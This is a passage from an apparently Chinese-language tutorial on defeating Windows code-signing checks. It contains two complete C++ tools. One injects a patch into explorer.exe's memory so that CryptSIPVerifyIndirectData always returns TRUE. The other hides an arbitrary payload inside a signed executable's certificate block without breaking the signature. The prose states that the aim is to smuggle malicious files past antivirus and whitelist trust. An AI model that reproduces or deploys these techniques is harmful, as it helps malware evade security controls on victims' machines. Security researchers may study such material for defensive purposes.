char x96payload[] = { "\x48\x31\xC0\xFE\xC0\xC3" };
int main() {
pfnCryptVerifyData = (PCHAR)GetProcAddress(LoadLibraryA("Crypt32"), "CryptSIPVerifyIndirectData");
EnumWindows([](HWND hWnd, LPARAM lParam) -> BOOL {
DWORD processId = NULL;
GetWindowThreadProcessId(hWnd, &processId);
if (HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId)) {
GetModuleFileNameExA(hProc, NULL, tmpModName, sizeof(tmpModName));
if (!stricmp(tmpModName, "C:\\Windows\\explorer.exe"))
patchedDone |= WriteProcessMemory(hProc, pfnCryptVerifyData, x96payload, sizeof(x96payload), NULL);
};
return true;
}, 0);
puts(patchedDone ? "[+] Sign Verify Patch for Explorer.exe Done." : "[!] Explorer.exe Alive yet?");
return 0;
};

本程序运行后将explorer.exe的CryptSIPVerifyIndirectData进行patch,直接返回TRUE,然后从explorer.exe文件属性中校验签名,发现签名正常。

签名扩展攻击

上个小节只是欺骗,本小节尝试从计算流程中找缺陷来绕过签名验证。

在杂凑计算流程中避开有:会因为植入签名讯息而异动的Checksum校验和、用于事后填写用的Secruity Directoy栏位、与签名讯息块本身结构。由于签名讯息本身不能被作为指纹杂凑计算流程的范畴、而受签名且其签署有效的程式档案又被Windows信任体系(如防毒厂商或系统自带白名单防护)视为安全无误的资料。于是选择在签名讯息块中藏匿任何恶意档案或资料,又不破坏签名有效性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <fstream>
#include <windows.h>
#include <WinTrust.h>
#pragma warning(disable : 4996)
PBYTE MapFileToMemory(LPCSTR filename, LONGLONG& filelen) {
FILE *fileptr;
PBYTE buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (PBYTE)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
};
int main(int argc, char** argv) {
if (argc != 4) {
PCHAR fileName = strrchr(argv[0], '\\') ? strrchr(argv[0], '\\') + 1 : argv[0];
printf("usage: %s [path/to/signed_pe] [file/to/append] [path/to/output]\n", fileName); //具数位签名的程式档案 欲藏匿的资料档案 输出程式档案
return 0;
};
// read signed pe file & payload
LONGLONG signedPeDataLen = 0, payloadSize = 0;
PBYTE signedPeData = MapFileToMemory(argv[1], signedPeDataLen), payloadData = MapFileToMemory(argv[2], payloadSize);
// prepare space for output pe file.
PBYTE outputPeData = new BYTE[signedPeDataLen + payloadSize];
memcpy(outputPeData, signedPeData, signedPeDataLen);
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(&outputPeData[((PIMAGE_DOS_HEADER)(outputPeData))->e_lfanew]);
PIMAGE_DATA_DIRECTORY certInfo = &ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
// append payload into certificate
LPWIN_CERTIFICATE certData = (LPWIN_CERTIFICATE)(&outputPeData[certInfo->VirtualAddress]);
memcpy(&PCHAR(certData)[certData->dwLength], payloadData, payloadSize);
certInfo->Size = (certData->dwLength += payloadSize);
// flush pe data back to file
fwrite(outputPeData, 1, signedPeDataLen + payloadSize, fopen(argv[3], "wb"));
puts("done.");
return 0;
};